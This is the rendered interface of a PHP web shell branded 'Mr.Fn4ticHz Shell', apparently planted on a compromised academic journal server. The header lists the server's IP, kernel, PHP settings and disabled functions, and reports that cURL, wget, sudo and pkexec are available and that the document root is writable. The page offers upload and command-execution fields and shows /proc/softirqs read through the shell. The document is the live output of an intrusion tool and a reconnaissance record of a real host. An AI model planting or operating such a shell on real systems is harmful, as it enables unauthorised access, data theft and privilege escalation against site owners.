Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   18603130   21233617   28374066   32303475   26410568   26950727   27534079   26270057   43765711   40743806   26341326   25128982   24033708   20381678   33523142   61444318
      NET_TX:        202        181        214        241        187        218    1082618        211        288        265        198        197        203        177        267        198
      NET_RX:  273271945  312600292  212667362  244289441  247635888  280465436  256580591  285164539  239066548  337807493  283796301  255724359  290222395  257723332  265377569  234050700
       BLOCK:    2492855    2499727    2723222    2732349    3910260     130944    2880566    2627608    2636401    2854378    2718557    2667586    2655777    2632847    6278529    6890502
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:         17    1642161     895023    1609418          8    1601562          4    1619488          3    1605273    1623350          5    1620561          4    1642563         11
       SCHED:   94776682   67798201   73428925   71088837   67136548   67803550   69354363   66176175   84416222  277877869   66506395   67519552   65153263   61283635   84344577  117790025
     HRTIMER:          0        105          0          0          0         17          1         13          0        147        225          0          4          0         13          2
         RCU:   52058836   61085041   60668869   64374225   61550727   62289844   63443777   61115035   75377656  251534654   61377464   62249302   60196327   56785830   75544749  101301191

Mr.F4ticHz - 2022
Mr.Fn4tcHzam